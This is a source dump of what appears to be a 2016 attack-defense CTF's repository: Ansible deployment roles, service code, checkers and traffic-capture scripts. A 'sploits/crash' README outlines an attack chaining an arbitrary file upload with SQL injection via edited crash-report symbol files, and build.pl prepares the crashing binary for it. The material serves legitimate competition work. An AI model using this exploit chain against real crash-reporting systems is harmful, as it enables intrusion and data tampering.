13 |
14 | wt_run_dispatcher();
15 | }
16 |
--------------------------------------------------------------------------------
/ansible/cs-checker.yaml:
--------------------------------------------------------------------------------
1 | - hosts: chk2.a5,chk3.a6,chk4.a7,chk6.a9,chk5.b8,chk6.b9
2 | roles:
3 | - common
4 | - monitoring_client
5 | - { role: cs_common, tags: ['cs'] }
6 | - { role: cs_checker, tags: ['cs'] }
7 | - logging_client
8 | vars:
9 | cs_user: cs
10 | cs_dir: /home/cs
11 | cs_conf: c_s.conf.test.j2
12 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/crypto/ChunkCryptography.kt:
--------------------------------------------------------------------------------
1 | package cartographer.crypto
2 |
3 | import java.security.Key
4 |
5 | interface ChunkCryptography {
6 | fun encrypt(sessionKey: Key, masterKey: Key, plaintext: ByteArray): ByteArray
7 |
8 | fun decrypt(sessionKey: Key, masterKey: Key, ciphertext: ByteArray): ByteArray
9 | }
--------------------------------------------------------------------------------
/ansible/cs-master.yaml:
--------------------------------------------------------------------------------
1 | - hosts: cs-master
2 | roles:
3 | - common
4 | - monitoring_client
5 | - { role: cs_common, tags: ['cs'] }
6 | - { role: cs_master, tags: ['cs'] }
7 | - { role: cs_checker, tags: ['cs'] }
8 | - logging_client
9 | vars:
10 | cs_user: cs
11 | cs_dir: /home/cs
12 | cs_conf: c_s.conf.test.j2
13 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/NetworkCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | ttl_multiplier = 2
3 | path_suffix = ""
4 | measure_collector_time = False
5 | byte_unit = bit
6 | interfaces = eth bond em p1p game tun
7 | greedy = true
8 | metrics_whitelist = .*(rx_bit|tx_bit|rx_packets|tx_packets|rx_drop|tx_drop).*
9 | interval = 10
10 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/helpers/ZonedDateTimeHelper.kt:
--------------------------------------------------------------------------------
1 | package cartographer.helpers
2 |
3 | import java.time.Duration
4 | import java.time.ZonedDateTime
5 | import java.time.temporal.ChronoUnit
6 |
7 | fun durationBetween(lhs: ZonedDateTime, rhs: ZonedDateTime) : Duration {
8 | return Duration.ofNanos(ChronoUnit.NANOS.between(lhs, rhs))
9 | }
--------------------------------------------------------------------------------
/services/weather/signtool.c:
--------------------------------------------------------------------------------
1 | #include "forecast.h"
2 | #include "types.h"
3 | #include "logging.h"
4 |
5 | #include
6 | #include
7 |
8 | int32 main(int argc, char **argv)
9 | {
10 | if (argc != 2)
11 | {
12 | printf("Usage: %s \n", argv[0]);
13 | return 0;
14 | }
15 |
16 | printf("%016llx\n", wt_sign(argv[1], strlen(argv[1])));
17 | }
18 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/data/DecryptImageRequest.kt:
--------------------------------------------------------------------------------
1 | package cartographer.data
2 |
3 | import com.fasterxml.jackson.annotation.JsonProperty
4 |
5 | data class DecryptImageRequest(@JsonProperty("key") val key: ByteArray,
6 | @JsonProperty("id") val id: String?,
7 | @JsonProperty("chunk") val chunk: ByteArray?)
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/providers/DateTimeProviderUtc.kt:
--------------------------------------------------------------------------------
1 | package cartographer.providers
2 |
3 | import org.springframework.stereotype.Component
4 | import java.time.ZoneOffset
5 | import java.time.ZonedDateTime
6 |
7 | @Component
8 | class DateTimeProviderUtc : DateTimeProvider {
9 | override fun get(): ZonedDateTime = ZonedDateTime.now(ZoneOffset.UTC)
10 | }
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/settings/DurationSetting.kt:
--------------------------------------------------------------------------------
1 | package cartographer.settings
2 |
3 | import java.time.Duration
4 |
5 | class DurationSetting : Setting {
6 | constructor(key: String) : super(key, { str -> Duration.parse(str) })
7 |
8 | constructor(key: String, defaultValue: Duration) : super(key, { str -> Duration.parse(str) }, defaultValue)
9 | }
--------------------------------------------------------------------------------
/ansible/roles/java8/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Add contrib repo
3 | apt_repository: repo='deb http://mirror.yandex.ru/debian jessie contrib' state=present update_cache=yes
4 |
5 | - name: Install java-package
6 | apt: name={{ item }}
7 | with_items:
8 | - java-package
9 |
10 | - name: Install java
11 | apt: deb=https://alexbers.com/oracle-java8-jdk_8u112_amd64.deb
12 |
13 |
--------------------------------------------------------------------------------
/services/weather/storage.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "types.h"
4 |
5 | #define WT_LAST_SAVED 6
6 |
7 | typedef char *last_values[WT_LAST_SAVED];
8 |
9 | void wt_init_storage(const char *filename);
10 |
11 | void wt_storage_get(const char *key, char *value);
12 |
13 | void wt_storage_put(const char *key, const char *value);
14 |
15 | last_values *wt_get_last_values(int32 *available);
--------------------------------------------------------------------------------
/ansible/roles/monitoring/handlers/main.yml:
--------------------------------------------------------------------------------
1 | - name: enable and restart carbon-cache
2 | service: name=carbon-cache enabled=yes state=restarted
3 |
4 | - name: enable and restart grafana
5 | service: name=grafana-server enabled=yes state=restarted
6 |
7 | - name: restart nginx
8 | service: name=nginx state=restarted
9 |
10 | - name: restart uwsgi
11 | service: name=uwsgi state=restarted
12 |
--------------------------------------------------------------------------------
/ansible/roles/cs_master/templates/manager.service.j2:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=CS manager
3 | After=network.target
4 |
5 | [Service]
6 | Type=simple
7 | User=cs
8 | WorkingDirectory=/home/cs/app/
9 | Environment=MOJO_MODE=production
10 | Environment=LANG=en_US.UTF-8
11 | ExecStart=/usr/bin/perl script/cs manager
12 | Restart=always
13 | RestartSec=15s
14 |
15 | [Install]
16 | WantedBy=multi-user.target
17 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/data/EncryptImageResponse.kt:
--------------------------------------------------------------------------------
1 | package cartographer.data
2 |
3 | import com.fasterxml.jackson.annotation.JsonProperty
4 |
5 | data class EncryptImageResponse(@JsonProperty("id") val id: String,
6 | @JsonProperty("key") val key: ByteArray,
7 | @JsonProperty("replicas") val replicas: Collection)
--------------------------------------------------------------------------------
/ansible/roles/monitoring/files/graphite.ini:
--------------------------------------------------------------------------------
1 | [uwsgi]
2 |
3 | master = true
4 | processes = 16
5 | plugin = python
6 | enable-threads = true
7 | vacuum = true
8 | pidfile = /run/uwsgi/app/graphite/pid
9 | socket = /tmp/graphite.sock
10 | uid = _graphite
11 | gid = www-data
12 | pymodule-alias = graphite.local_settings=/etc/graphite/local_settings.py
13 | wsgi-file = /usr/share/graphite-web/graphite.wsgi
14 |
--------------------------------------------------------------------------------
/ansible/ructfe2016_rsa.pub:
--------------------------------------------------------------------------------
1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChh+Q2bSW6cCO2gHLKG+hSWsOeSD7f7Aw5+7tUliziGprd4ZsPwElqqiMnY3eULlM2ZgyUwIbpirq4NqJ0kQTER5VfBH5+o/6Autq6NObZ2AJXxM/L6XB9PK/mt8qWhUeDR7MA5wbFzcgHOFsazVuP1NaKj4BXX6ck78Fi+850VLdMXw502G1mq6wvP6S8sKyp1ZW2bKcG7tKyAIGHmXdDM1uyNLcEXDruFwnJZFo6hm6wHkCKW4i6eUDpcurRuCdhBSY2iqUs6hK6R3bo7p+YOKWpK7VHKpGSpiXhplqnmKJwGQsV3fcWXWcJQc1arozJGcsuLth0Xti+uq/8QwBn ructfe2016
2 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/helpers/UuidHelper.kt:
--------------------------------------------------------------------------------
1 | package cartographer.helpers
2 |
3 | import java.util.*
4 |
5 | fun parseUuidSafe(idString: String?): UUID? {
6 | try {
7 | if (idString == null) {
8 | return null
9 | }
10 |
11 | return UUID.fromString(idString)
12 | } catch (t: Throwable) {
13 | return null
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/ansible/roles/dump/files/dump@.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=Dump service for %i
3 | After=network.target
4 |
5 | [Service]
6 | ExecStart=/home/dump/start_dump.sh %i
7 | WorkingDirectory=/home/dump
8 | User=root
9 | Group=root
10 | Restart=on-failure
11 | RestartSec=3s
12 | CPUQuota=100%
13 | MemoryLimit=2000M
14 |
15 | [Install]
16 | WantedBy=multi-user.target
17 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=Diamond
3 | After=network.target
4 |
5 | [Service]
6 | ExecStart=/usr/local/bin/diamond --foreground
7 | WorkingDirectory=/
8 | User=diamond
9 | Group=diamond
10 | Restart=on-failure
11 | RestartSec=3s
12 | CPUQuota=100%
13 | MemoryLimit=2000M
14 |
15 | [Install]
16 | WantedBy=multi-user.target
17 |
--------------------------------------------------------------------------------
/ansible/roles/noman/tasks/main.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Add nodoc in dpkg
3 | copy: src=01_nodoc dest=/etc/dpkg/dpkg.cfg.d/01_nodoc
4 |
5 | - name: Remove packages and apt-get update
6 | apt: name={{ item }} state=absent update_cache=yes
7 | with_items:
8 | - man-db
9 | - cron
10 |
11 | - name: Remove man pages
12 | file: name={{ item }} state=absent
13 | with_items:
14 | - /usr/share/man
15 |
16 |
--------------------------------------------------------------------------------
/ansible/roles/cs_master/templates/worker.service.j2:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=CS worker
3 | After=network.target
4 |
5 | [Service]
6 | Type=simple
7 | User=cs
8 | WorkingDirectory=/home/cs/app/
9 | Environment=MOJO_MODE=production
10 | Environment=LANG=en_US.UTF-8
11 | ExecStart=/usr/bin/perl script/cs minion worker -q default -j 5
12 | Restart=always
13 | RestartSec=15s
14 |
15 | [Install]
16 | WantedBy=multi-user.target
17 |
--------------------------------------------------------------------------------
/ansible/roles/cs_master/templates/watcher.service.j2:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=CS watcher
3 | After=network.target
4 |
5 | [Service]
6 | Type=simple
7 | User=cs
8 | LimitNOFILE=10000
9 | WorkingDirectory=/home/cs/app/
10 | Environment=MOJO_MODE=production
11 | Environment=LANG=en_US.UTF-8
12 | ExecStart=/usr/bin/perl script/cs watcher
13 | Restart=always
14 | RestartSec=15s
15 |
16 | [Install]
17 | WantedBy=multi-user.target
18 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/antidos/antidos.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=Network closed
3 | After=network.target
4 |
5 | [Service]
6 | ExecStart=/home/antidos/antidos_serv.py
7 | WorkingDirectory=/home/antidos
8 | User=antidos
9 | Group=antidos
10 | Restart=on-failure
11 | RestartSec=3s
12 | CPUQuota=100%
13 | MemoryLimit=2000M
14 |
15 | [Install]
16 | WantedBy=multi-user.target
17 |
--------------------------------------------------------------------------------
/ansible/roles/cs_flags/templates/flags@.service.j2:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=CS Flags #%I
3 | After=network.target
4 |
5 | [Service]
6 | Type=simple
7 | User=cs
8 | LimitNOFILE=10000
9 | WorkingDirectory=/home/cs/app/
10 | Environment=MOJO_MODE=production
11 | Environment=LANG=en_US.UTF-8
12 | ExecStart=/usr/bin/perl script/cs flags --id %I
13 | Restart=always
14 | RestartSec=15s
15 |
16 | [Install]
17 | WantedBy=multi-user.target
18 |
--------------------------------------------------------------------------------
/ansible/roles/dump/scripts/traffic.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # A helper script to show realtime team data in wireshark
4 | # Uses ssh connection to traffic dump server
5 |
6 | filter="$1"
7 |
8 | if [ -z "$filter" ]; then
9 | echo "USAGE: ./traffic.sh "
10 | echo "Do not forget to filter out the ssh traffic"
11 | exit
12 | fi
13 |
14 | ssh root@mon.a10 "tcpdump -U -i eth1 -w - -s 0 ${filter}" | wireshark -k -i -
15 |
--------------------------------------------------------------------------------
/ansible/roles/backuper/files/id_rsa.pub:
--------------------------------------------------------------------------------
1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdJTHBb9jUuvLG5v4LKL+zLKzXeQiy1vpnr7YPGX9iAlJwCx9H4OjyZl0+83MSWb6vSqSaq/Q6yxzBXTfi+zIvPDtb+xtmZCIZDNYv8/UIVAHN+ue+YTTZDLxdtDU2K638D3gwQsNbU/B+NcwTNsPXmavytRyGG1KtIjutxdzgawsqAX8AAl2VZ7L0M4HjarmBbxn7w8EjmPbIclTA2ejguutoP51dxPK5hEN9776QOnirKL/jl8s+7ixc1ujvjdVQcPMp7SezD6VsXW75JhbLkD7B3tL0YCLVccQrxSDuSvTz4Zv9HA4+/TjUyCC2zd4GCSo3IknOcz2rmmPMiGTv alice@baysgentoonotebook
2 |
--------------------------------------------------------------------------------
/ansible/roles/cs_master/templates/web.service.j2:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=CS web
3 | After=network.target
4 |
5 | [Service]
6 | Type=forking
7 | User=cs
8 | WorkingDirectory=/home/cs/app/
9 | PIDFile=/home/cs/app/script/hypnotoad.pid
10 | ExecStart=/usr/local/bin/hypnotoad script/cs
11 | ExecStop=/usr/local/bin/hypnotoad -s script/cs
12 | ExecReload=/usr/local/bin/hypnotoad script/cs
13 |
14 | [Install]
15 | WantedBy=multi-user.target
16 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/collectors/TCPCollector.conf:
--------------------------------------------------------------------------------
1 | enabled = True
2 | ttl_multiplier = 2
3 | path_suffix = ""
4 | measure_collector_time = False
5 | byte_unit = byte,
6 | allowed_names = "ListenOverflows, ListenDrops, TCPLoss, TCPTimeouts, TCPFastRetrans, TCPLostRetransmit, TCPForwardRetrans, TCPSlowStartRetrans, CurrEstab, TCPAbortOnMemory, TCPBacklogDrop, AttemptFails, EstabResets, InErrs, ActiveOpens, PassiveOpens"
7 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/teamcheck/teamcheck.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=Team checker
3 | After=network.target
4 |
5 | [Service]
6 | ExecStart=/home/teamcheck/gen_status_loop.py
7 | WorkingDirectory=/home/teamcheck
8 | User=teamcheck
9 | Group=teamcheck
10 | Restart=on-failure
11 | RestartSec=3s
12 | CPUQuota=100%
13 | MemoryLimit=2000M
14 |
15 |
16 | [Install]
17 | WantedBy=multi-user.target
18 |
--------------------------------------------------------------------------------
/ansible/roles/cs_checker/templates/worker-checkers.service.j2:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=CS worker
3 | After=network.target
4 |
5 | [Service]
6 | Type=simple
7 | User=cs
8 | WorkingDirectory=/home/cs/app/
9 | Environment=MOJO_MODE=production
10 | Environment=LANG=en_US.UTF-8
11 | ExecStart=/usr/bin/perl script/cs minion worker -q checker -j {{ item.jobs }}
12 | Restart=always
13 | RestartSec=15s
14 |
15 | [Install]
16 | WantedBy=multi-user.target
17 |
--------------------------------------------------------------------------------
/ansible/roles/general_nginx/templates/vhost.conf.j2:
--------------------------------------------------------------------------------
1 | server {
2 | listen 80 default;
3 | return 301 http://$hostname$request_uri;
4 | }
5 |
6 | server {
7 | listen 80;
8 | server_name $hostname;
9 | root /var/www/;
10 | location / {
11 | autoindex off;
12 | }
13 |
14 | location ~ ^/(?P{{ groups['services'] | join('|') }})$ {
15 | rewrite ^ http://$service.$host redirect;
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/checkers/atlablog/templates/user_agents.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import random
3 |
4 |
5 | def get():
6 | for i in range(2):
7 | try:
8 | return __get()
9 | except Exception as e:
10 | error = e
11 | raise OSError(str(error))
12 |
13 |
14 | def __get():
15 | with open('useragents') as fin:
16 | user_agents = [line.strip() for line in fin]
17 | return random.choice(user_agents)
18 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/Application.kt:
--------------------------------------------------------------------------------
1 | package cartographer
2 |
3 | import org.springframework.boot.SpringApplication
4 | import org.springframework.boot.autoconfigure.SpringBootApplication
5 |
6 | @SpringBootApplication
7 | open class Application {
8 | companion object {
9 | @JvmStatic fun main(args: Array) {
10 | SpringApplication.run(Application::class.java, *args)
11 | }
12 | }
13 | }
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/data/AddressLatencyHistory.kt:
--------------------------------------------------------------------------------
1 | package cartographer.data
2 |
3 | data class AddressLatencyHistory(val averageLatency: Long?,
4 | val backOffLeft: Int,
5 | val lastBackOff: Int) {
6 | constructor(averageLatency: Long) : this(averageLatency, 0, 0)
7 |
8 | constructor(backOffLeft: Int, lastBackOff: Int) : this(null, backOffLeft, lastBackOff)
9 | }
--------------------------------------------------------------------------------
/services/atlablog/templates/login.html:
--------------------------------------------------------------------------------
1 | {% extends "base.html" %}
2 |
3 | {% import '_form_macro.html' as forms %}
4 |
5 | {% block content %}
6 |
11 | {% endblock %}
12 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/networkclosed/networkclosed.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=Network closed
3 | After=network.target
4 |
5 | [Service]
6 | ExecStart=/home/networkclosed/networkclosed_serv.py
7 | WorkingDirectory=/home/networkclosed
8 | User=networkclosed
9 | Group=networkclosed
10 | Restart=on-failure
11 | RestartSec=3s
12 | CPUQuota=100%
13 | MemoryLimit=2000M
14 |
15 | [Install]
16 | WantedBy=multi-user.target
17 |
--------------------------------------------------------------------------------
/services/weather/server.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "types.h"
4 |
5 | #include
6 |
7 |
8 | struct client
9 | {
10 | int32 socket;
11 | struct pollfd *pollfd;
12 | int32 type;
13 | };
14 |
15 | void wt_close_client(const struct client *client);
16 |
17 | void wt_make_nonblocking(int32 socket);
18 |
19 | int32 wt_start_server(uint32 address, int32 port);
20 |
21 | void wt_fill_template(const char *request, char *buffer, const char *template);
--------------------------------------------------------------------------------
/services/thebin/startup.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | config=/etc/nginx/config.lua
4 |
5 | if test ! -e $config; then
6 | secret=`head -c 1024 /dev/urandom | sha512sum`;
7 | cat > $config <<- END
8 | local config = require("lapis.config").config
9 |
10 | config("development", {
11 | session_name = "auth",
12 | secret = "$secret",
13 | redis = {
14 | host = "127.0.0.1",
15 | port = "6379"
16 | },
17 | ttl = 1800,
18 | show_time = 10,
19 | })
20 | END
21 | fi
22 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/antidos/block_team.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | num="$1"
4 |
5 | if [ -z $num ]; then
6 | echo "USAGE: block_team.sh team_num"
7 | exit
8 | fi
9 |
10 | if [[ ! $num =~ ^[0-9]+$ ]]; then
11 | echo "Team num should be number"
12 | exit
13 | fi
14 |
15 | ip="10.$((80 + num / 256)).$((num % 256)).1"
16 |
17 | # add the couple of rules
18 | iptables -t nat -A PREROUTING -m tcp -m comment --comment "antidos" -p tcp -i "team${num}" -j DNAT --to-destination "${ip}:40001"
19 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/antidos/unblock_team.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | num=$1
4 |
5 | if [ -z $num ]; then
6 | echo "USAGE: block_team.sh team_num"
7 | exit
8 | fi
9 |
10 | if [[ ! $num =~ ^[0-9]+$ ]]; then
11 | echo "Team num should be number"
12 | exit
13 | fi
14 |
15 | ip="10.$((80 + num / 256)).$((num % 256)).1"
16 |
17 | # add the couple of rules
18 | iptables -t nat -D PREROUTING -m tcp -m comment --comment "antidos" -p tcp -i "team${num}" -j DNAT --to-destination "${ip}:40001"
19 |
--------------------------------------------------------------------------------
/ansible/roles/thebin-build/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Install requirements
3 | apt: name={{ item }}
4 | with_items:
5 | - libssl-dev
6 | - make
7 | - g++
8 |
9 | - name: Copy service
10 | copy:
11 | src: "{{ playbook_dir }}/../services/thebin/"
12 | dest: "/opt/thebin/"
13 |
14 | - name: Make rand
15 | make: chdir=/opt/thebin/ target=rand.so
16 |
17 | - name: Fetch rand.so
18 | fetch: src=/opt/thebin/rand.so dest="{{ playbook_dir }}/../services/thebin/rand.so" flat=yes
19 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/crypto/DefaultKeyDeserializer.kt:
--------------------------------------------------------------------------------
1 | package cartographer.crypto
2 |
3 | import org.springframework.stereotype.Component
4 | import java.security.Key
5 | import javax.crypto.spec.SecretKeySpec
6 |
7 | @Component
8 | class DefaultKeyDeserializer(val cryptographySettings: CryptographySettings) : KeyDeserializer {
9 | override fun deserialize(serialized: ByteArray): Key {
10 | return SecretKeySpec(serialized, cryptographySettings.keySpec)
11 | }
12 | }
--------------------------------------------------------------------------------
/services/cartographer/src/test/kotlin/cartographer/testhelpers/WaitHelper.kt:
--------------------------------------------------------------------------------
1 | package cartographer.testhelpers
2 |
3 | import java.time.Duration
4 | import java.time.Instant
5 | import java.util.concurrent.TimeoutException
6 |
7 | fun waitUntil(duration: Duration, action: () -> Boolean) {
8 | val testEnd = Instant.now().plus(duration)
9 | while (Instant.now().isBefore(testEnd)) {
10 | if (action()) {
11 | return
12 | }
13 | }
14 |
15 | throw TimeoutException()
16 | }
--------------------------------------------------------------------------------
/ansible/roles/vpn/handlers/main.yml:
--------------------------------------------------------------------------------
1 | - name: restart openvpn
2 | shell: /bin/bash -c "/bin/systemctl restart openvpn@{0..767}"
3 |
4 | - name: restart nginx
5 | service: name=nginx state=restarted
6 |
7 | - name: enable and restart teamcheck
8 | service: name=teamcheck enabled=yes state=restarted
9 |
10 | - name: enable and restart networkclosed
11 | service: name=networkclosed enabled=yes state=restarted
12 |
13 | - name: enable and restart antidos
14 | service: name=antidos enabled=yes state=restarted
15 |
--------------------------------------------------------------------------------
/ansible/roles/dump/files/start_dump_eth0.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # A helper script to show realtime team data in wireshark
4 | # Uses ssh connection to traffic dump server
5 |
6 | team="$1"
7 |
8 | if [ -z $team ]; then
9 | echo "USAGE: ./start_dump.sh "
10 | exit
11 | fi
12 |
13 | net1="10.$((60 + team / 256)).$((team % 256)).0/24"
14 | net2="10.$((80 + team / 256)).$((team % 256)).0/24"
15 |
16 | filter="net ${net1} or net ${net2}"
17 | exec tcpdump -U -i eth1 -C 20 -w "/home/dump/team${team}" -s 0 "${filter}"
18 |
--------------------------------------------------------------------------------
/sploits/crash/build.pl:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl
2 |
3 | $service_name = "just_crash";
4 | `g++ -I\$BREAKPAD/src -std=c++11 $service_name.cpp \$BREAKPAD/src/client/linux/libbreakpad_client.a -pthread -g -O0 -o $service_name`;
5 | $module_info = `./dump_syms -i $service_name`;
6 | $module_info =~ m/^MODULE\s\w+\s\w+\s(\w+)/;
7 | $module_id = $1;
8 | print "$module_id\n";
9 | `mkdir symbols/$service_name`;
10 | `mkdir symbols/$service_name/$module_id`;
11 | `./dump_syms $service_name > symbols/$service_name/$module_id/$service_name.sym`;
12 |
--------------------------------------------------------------------------------
/checkers/crash/build.pl:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl
2 |
3 | $service_name = "submarine_internal";
4 | `g++ -I\$BREAKPAD/src -std=c++11 $service_name.cpp \$BREAKPAD/src/client/linux/libbreakpad_client.a -pthread -g -O0 -o $service_name`;
5 | $module_info = `./dump_syms -i $service_name`;
6 | $module_info =~ m/^MODULE\s\w+\s\w+\s(\w+)/;
7 | $module_id = $1;
8 | print "$module_id\n";
9 | `mkdir symbols/$service_name`;
10 | `mkdir symbols/$service_name/$module_id`;
11 | `./dump_syms $service_name > symbols/$service_name/$module_id/$service_name.sym`;
12 |
--------------------------------------------------------------------------------
/ansible/roles/backupable/tasks/main.yml:
--------------------------------------------------------------------------------
1 | - name: put public key of backuper in postgres
2 | authorized_key: user=postgres key="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdJTHBb9jUuvLG5v4LKL+zLKzXeQiy1vpnr7YPGX9iAlJwCx9H4OjyZl0+83MSWb6vSqSaq/Q6yxzBXTfi+zIvPDtb+xtmZCIZDNYv8/UIVAHN+ue+YTTZDLxdtDU2K638D3gwQsNbU/B+NcwTNsPXmavytRyGG1KtIjutxdzgawsqAX8AAl2VZ7L0M4HjarmBbxn7w8EjmPbIclTA2ejguutoP51dxPK5hEN9776QOnirKL/jl8s+7ixc1ujvjdVQcPMp7SezD6VsXW75JhbLkD7B3tL0YCLVccQrxSDuSvTz4Zv9HA4+/TjUyCC2zd4GCSo3IknOcz2rmmPMiGTv alice@baysgentoonotebook"
3 | tags: backupable
4 |
--------------------------------------------------------------------------------
/ansible/roles/dump/scripts/get_realtime_team_traffic.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # A helper script to show realtime team data in wireshark
4 | # Uses ssh connection to traffic dump server
5 |
6 | team="$1"
7 |
8 | if [ -z $team ]; then
9 | echo "USAGE: ./get_realtime_team_traffic.sh "
10 | exit
11 | fi
12 |
13 | net1="10.$((60 + team / 256)).$((team % 256)).0/24"
14 | net2="10.$((80 + team / 256)).$((team % 256)).0/24"
15 |
16 | filter="net ${net1} or net ${net2}"
17 | ssh root@mon.a10 "tcpdump -U -i eth1 -w - -s 0 ${filter}" | wireshark -k -i -
18 |
--------------------------------------------------------------------------------
/ansible/roles/redis/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Redis | Install required system packages.
3 | apt: pkg=redis-server state=installed default_release=testing
4 |
5 | - name: Redis | copy config
6 | lineinfile:
7 | dest: /etc/redis/redis.conf
8 | regexp: "{{ item.regexp }}"
9 | line: "{{ item.line }}"
10 | with_items:
11 | - { regexp: '^\s*#?\s*maxmemory', line: "maxmemory 536870912" }
12 | notify: restart redis
13 |
14 | - name: Redis | Start
15 | service: name=redis-server state=started enabled=yes
16 | tags:
17 | - specific
18 |
--------------------------------------------------------------------------------
/sploits/crash/README:
--------------------------------------------------------------------------------
1 | Vulns:
2 | 1. You can upload any file to arbitrary directory, but you can't overwrite existing files(. See sploit.py
3 | 2. SQL injection while report submiting
4 |
5 | Attack:
6 | 1. You need some binary linked with google breakpad. See just_crash.cpp
7 | 2. Generate symbols. See build.pl
8 | 3. Crash you binary
9 | 4. Edit symbol file. Instead of function name write SQL injection. See diff between
10 | just_crash.sym and just_crash(original).sym
11 | 5. Submit report with minidump and symbol. See sploit.py
12 | 6. Open service's main page
13 |
--------------------------------------------------------------------------------
/ansible/roles/cartographer-build/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Copy service
3 | copy:
4 | src: "{{ playbook_dir }}/../services/cartographer/"
5 | dest: "/opt/cartographer/"
6 |
7 | - name: Add executable bit to gradlew
8 | file: name=/opt/cartographer/gradlew mode=0755
9 |
10 | - name: Build project
11 | command: ./gradlew build
12 | args:
13 | chdir: /opt/cartographer/
14 | tags:
15 | - skip_ansible_lint
16 |
17 | - name: Fetch binary
18 | fetch: src=/opt/cartographer/build/libs/cartographer-1.0.0.jar dest=/tmp/cartographer.jar flat=yes
19 |
--------------------------------------------------------------------------------
/ansible/roles/noman/files/01_nodoc:
--------------------------------------------------------------------------------
1 | # Delete locales
2 | path-exclude=/usr/share/locale/*
3 | path-include=/usr/share/locale/locale.alias
4 | path-include=/usr/share/locale/en/*
5 | path-include=/usr/share/locale/en_US.UTF-8/*
6 | path-include=/usr/share/locale/languages
7 | path-include=/usr/share/locale/all_languages
8 | path-include=/usr/share/locale/currency/*
9 | path-include=/usr/share/locale/l10n/*
10 |
11 | # Delete man pages
12 | # path-exclude=/usr/share/man/*
13 |
14 | # Delete docs
15 | path-exclude=/usr/share/doc/*
16 | path-include=/usr/share/doc/*/copyright
17 |
--------------------------------------------------------------------------------
/services/cartographer/cartographer.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/services/sapmarine/Package.swift:
--------------------------------------------------------------------------------
1 | import PackageDescription
2 |
3 | let package = Package(
4 | name: "sapmarine",
5 | dependencies: [
6 | .Package(url: "https://github.com/IBM-Swift/Kitura.git", majorVersion: 1, minor: 1),
7 | .Package(url: "https://github.com/IBM-Swift/BlueCryptor.git", majorVersion: 0, minor: 7),
8 | .Package(url: "https://github.com/IBM-Swift/Kitura-Session.git", majorVersion: 1, minor: 1),
9 | .Package(url: "https://github.com/IBM-Swift/Kitura-StencilTemplateEngine.git", majorVersion: 1, minor: 1)
10 | ])
11 |
--------------------------------------------------------------------------------
/services/thebin/my.lua:
--------------------------------------------------------------------------------
1 | local ws = require 'ws'
2 | local util = require 'lapis.util'
3 | local session_util = require 'lapis.session'
4 | local redis = require 'redis'
5 |
6 | local module = {}
7 |
8 | function module.process()
9 | local cookies = util.parse_cookie_string(ngx.req.get_headers().cookie)
10 | local session = session_util.get_session({cookies = cookies})
11 |
12 | if not session then
13 | return
14 | end
15 |
16 | local user = session.user
17 |
18 | if not user then
19 | return
20 | end
21 |
22 | ws.process(redis.get_listid(user))
23 | end
24 |
25 | return module
--------------------------------------------------------------------------------
/services/weather/httpserver.c:
--------------------------------------------------------------------------------
1 | #include "httpserver.h"
2 | #include "page.h"
3 |
4 | #include
5 | #include
6 |
7 | #define TPSIZE 4096
8 |
9 | char inputBufferHttp[1024];
10 | char templateHttp[] = RESPONSE BODY;
11 |
12 | void wt_http_process_client(const struct client *client)
13 | {
